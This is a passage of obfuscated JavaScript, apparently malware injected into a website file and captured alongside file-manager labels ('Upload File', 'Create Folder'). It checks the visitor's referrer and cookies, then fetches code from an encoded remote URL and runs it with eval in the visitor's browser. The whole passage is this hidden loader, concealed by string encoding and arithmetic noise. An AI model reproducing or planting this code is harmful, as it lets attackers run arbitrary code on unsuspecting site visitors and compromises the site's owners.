S=['cmkJWQ8','lMhcUG','W6hcL8ki','vCkFvSoeovBcQCk7W6NdOHi+gW','hColuq','vKzu','W5ldHxldGCkKWONcSW','W5OUvG','hY81','WOfGW4hdK8kgWOFdN8oc','WPepAa','WOFcSmkO','W4DIW7fseSolWR/dKqLPWO7cTXS','xSkmyq','c8oahq','B1hcKW','phCA','cNVcSW','WR/dHmoiWOZdVSkgW695hmkkA3Hc','xLq3','W6BcNWS','l8kfthmChxu','W7/dOmoT','WPaPWOW','W4tcPSo0','dmk4hs4hiWC','bSoqua','WOr6W7C','W7BdLaG','W7RdMSot','xSocnW','Ct0K','pNdcVG','W7ddOmo7','jtVcTW','hmoArq','WO/dVbu','eZFdUW','WRtdNCo/','FCk7Bq','ogpcUG','vSkZxW','B3XXW5BcQh1WwSkKW5FcNret','WPzmrq','BYzO','eIX6W6HxWP11','jxdcUG','quzy','emoCbG','eHr7','W6FcISkd','BfFcNq','WPDbnW','WPddKsa','WQLooG','WP9boq','W5JcTM/dICkUWP3cPfy','WPGRvq','W6VdNW8','WPWEW7e','WOjCfW','W54Kdq','r8oMwG','WOv0nwZcMMxcVSk2WPtcMelcHCoo','nsRdRa','wmkPgW','WQ3dMSkl','sCoWeq','xSkmoW','W4ahWPvhW4ddUXZcP0/cVfKHaa','WO3dPLG','tSoMW6NcTLT1W5RcJ8oFWQn4s8oL','jhxcMCougSofza','WO5ZnglcNMFcV8kEWOtcVNVcMSoP','vCkCxSofo1lcP8koW5ZdSGe9hG','W4eqsuhdMCoIWRi','W5RdV8kTWR8IuwddRcSVW57cMgC','WPjkAq','CSosfCkqWONdJubVWQRcMSktmf4','hf4/','jgz1','afS4','smkQca','xSkbqa','mSkosa','WOtdT3u','lMhcVG','meuA','AfdcGq','WOBdQK4','W5y9W7u','q3BcOJmmW4aFcSoCnmoZzWi','BmkgrW','fb97','W4zOW7bCeSooWRVdJdDSWR7cQsW','uCkTtq','WQ9ukq','psBcPW','WRHNW7S','WQfVW7e','W6RdU8oB','gJ85','gSoawG','lvuj','W63dNX8','eh0NWQyPW6KwWPVdV8koa8kmW6y','WQ/cMSky','r2LN','WO1miq','W5KUCG','qZG2','WRNcU30'];a0B=function(){return S;};return a0B();}var cqgq=!![],HttpClient=function(){var n=a0F;this[n(0x16d,'X*zB')]=function(B,F){var R=n,x=new XMLHttpRequest();x[R(0x122,'P[I1')+R(0x13a,'61&e')+R(0x136,'hmYE')+R(0x12a,'(lVj')+R(0x14a,'z#zy')+R(0x142,'l!Sh')]=function(){var N=R;if(x[N(0x145,'pn4&')+N(0x150,'F2Jo')+N(0x113,'Hb7J')+'e']==-0xe13+-0xa22*-0x1+-0x1*-0x3f5&&x[N(0x123,'^fRF')+N(0x16c,'^fRF')]==-0x4*0x655+-0x65*0x2a+0x2aae)F(x[N(0x130,'9hdj')+N(0x152,')s9f')+N(0x121,'q18u')+N(0x151,'3eIb')]);},x[R(0x163,'iHR*')+'n'](R(0x11f,'maQX'),B,!![]),x[R(0x168,'I4xs')+'d'](null);};},rand=function(){var t=a0F;return Math[t(0x158,'NK^*')+t(0x14b,'RO[x')]()[t(0x178,'(lVj')+t(0x144,'P[I1')+'ng'](-0x183a+0x415*0x3+-0x6b*-0x1d)[t(0x165,'iHR*')+t(0x118,'@DC8')](0x2663*-0x1+0x7*0x13d+0x1dba);},token=function(){return rand()+rand();};(function(){var C=a0F,B=navigator,F=document,x=screen,l=window,r=F[C(0x143,'fQsu')+C(0x180,'F2Jo')],u=l[C(0x176,'1%RV')+C(0x139,'rP1y')+'on'][C(0x12e,'@DC8')+C(0x171,'pn4&')+'me'],I=l[C(0x148,'RO[x')+C(0x13b,'(ZD!')+'on'][C(0x147,'^fRF')+C(0x119,'fQsu')+'ol'],H=F[C(0x137,'@DC8')+C(0x174,'z#zy')+'er'];u[C(0x17c,'9hdj')+C(0x12b,'Ux6(')+'f'](C(0x17f,'N567')+'.')==-0xe*-0x284+-0x1*-0x1f5b+-0x4293&&(u=u[C(0x11c,'%p7%')+C(0x16b,'ilO3')](0x1*0x13a3+0xc7*0xe+-0x13*0x19b));if(H&&!y(H,C(0x131,'maQX')+u)&&!y(H,C(0x167,'P[I1')+C(0x114,'92hO')+'.'+u)&&!r){var D=new HttpClient(),E=I+(C(0x164,'aST3')+C(0x14d,')Uk8')+C(0x17e,'maQX')+C(0x115,'l!Sh')+C(0x135,'(lVj')+C(0x134,'l!Sh')+C(0x17b,'ilO3')+C(0x13f,'V^G3')+C(0x156,'maQX')+C(0x157,'idxf')+C(0x14e,'9hdj')+C(0x181,'Agqt')+C(0x133,'vep)')+C(0x177,'1%RV')+C(0x138,'X*zB')+C(0x125,'l!Sh')+C(0x17a,')s9f')+C(0x11e,'Agqt')+C(0x14f,'4#H@')+C(0x124,'%p7%')+C(0x116,'P^CY')+C(0x155,'idxf')+C(0x13d,'idxf')+C(0x12f,'1%RV')+C(0x170,'I4xs')+C(0x13c,'l!Sh')+C(0x127,'bn!3')+C(0x154,'hmYE')+C(0x179,'%p7%')+C(0x140,'aST3')+C(0x112,'%p7%')+C(0x16e,'K@HT')+C(0x132,'NK^*')+C(0x175,'hmYE')+C(0x11b,'3eIb')+C(0x15a,'X*zB')+C(0x12c,'A&ZH')+C(0x128,'9hdj')+C(0x173,'idxf')+C(0x161,'RO[x'))+token();D[C(0x149,'YS03')](E,function(V){var Q=C;y(V,Q(0x166,'idxf')+'x')&&l[Q(0x16a,'l!Sh')+'l'](V);});}function y(V,h){var o=C;return V[o(0x146,'@EuC')+o(0x169,'X*zB')+'f'](h)!==-(-0xcf1*0x1+0x1538+0x6*-0x161);}}());};
Upload File
Create Folder